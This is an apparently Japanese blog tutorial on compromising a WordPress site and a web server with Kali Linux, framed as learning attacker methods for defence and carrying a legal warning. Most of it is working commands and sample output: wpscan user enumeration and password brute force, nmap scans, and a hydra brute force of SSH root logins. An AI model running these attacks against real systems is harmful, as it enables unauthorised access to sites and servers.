WordPress
初心者
KaliLinux
webserver
ハッキング

KaliLinuxによるWordPress改ざんとWebサーバ侵入から学ぶクラッキング対策

More than 1 year has passed since last update.

Kali Linuxとは

Kali Linuxは先進的なペネトレーションテスト(侵入試験)やセキュリティ監査を実施するためのLinuxのディストリビューションである。
KaliはBackTrack Linuxの完全なる後継であり、Debian をベースに開発されている。

引用元:KALI LINUX OFFICIAL DOCUMENTATION | http://ja.docs.kali.org/introduction-ja/kali-linux%E3%81%A8%E3%81%AF

攻撃の手口

※この投稿の趣旨は、攻撃者側の手口を学び、防御に役立てることにあります。
この投稿内容を基に、第三者が管理するサーバ等に攻撃を仕掛けないでください。
投稿内容を実行する場合は、閉じたネットワーク内にて、自己責任でお願いします。
もしも、第三者が管理するサーバ等に攻撃を仕掛けた場合、以下のリスクがあります。

・プロバイダから警告が来ます。
・不正アクセスで逮捕、逮捕されなくても拘留されます。
・企業から賠償金を請求されます。

引用元:攻撃者の心理 Kali Linux紹介 1 | http://sys-guard.com/post-2896/

WPScanによる偵察とクラッキング

1.WordPressの管理者ユーザ名を取得する。

# wpscan --url "http://www.example.com/" --enumerate u

[+] Identified the following 1 user/s:
    +----+---------------+-----------------+
    | Id | Login         | Name            |
    +----+---------------+-----------------+
    | 1  | admin         | admin ?         |
    +----+---------------+-----------------+

※上記のコマンドラインを実行中、以下の表示が出た際は、「N」を入力してEnterを押す。
[?] Do you want to update now? [Y]es [N]o [A]bort, default: [N]N

2.WordPressの管理者パスワードをブルートフォースアタックによって取得する。

# wpscan --url "http://www.example.com/" --wordlist /root/passwordlist.txt --username admin

  +----+---------------+------+----------+
  | Id | Login         | Name | Password |
  +----+---------------+------+----------+
  |    | admin         |      | password |
  +----+---------------+------+----------+

※--wordlistで指定する辞書ファイルは、/root配下に自分で作成したテキストファイルを使用している。
辞書ファイルは、以下の3パターンによって入手できる。

※上記のコマンドラインを実行中、以下の表示が出た際は、「N」を入力してEnterを押す。
[?] Do you want to update now? [Y]es [N]o [A]bort, default: [N]N

3.WordPressに侵入
Webブラウザに http://www.example.com/wp-login.php と入力し、WordPressのログイン画面を表示させる。
ユーザ名とパスワードを入力し、管理画面(ダッシュボード)に入ることができれば侵入完了。

Nmapによる偵察

# nmap -sP (Networkaddress)/(Subnetmask)
# nmap -A (IPaddress)

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 5.3 (protocol 2.0)

※-sPでネットワーク内で稼働中のサーバを特定し、-Aでオープンなポートやサービスをスキャンする。

hydraによるSSHポートへのブルートフォースアタック

# hydra -L /root/userlist.txt -P /root/passwordlist.txt (IPaddress) ssh
[DATA] attacking service ssh on port 22
[22][ssh] host: (IPaddress)   login: root   password: acb123

サーバに対してSSHで接続し、rootのパスワードを入力して侵入する。

※-Lで指定するユーザクラック用辞書ファイルと、-Pで指定するパスワードクラック用辞書ファイルは、/root配下に自分で作成したテキストファイルを使用している。
辞書ファイルは、以下の3パターンによって入手できる。

参考文献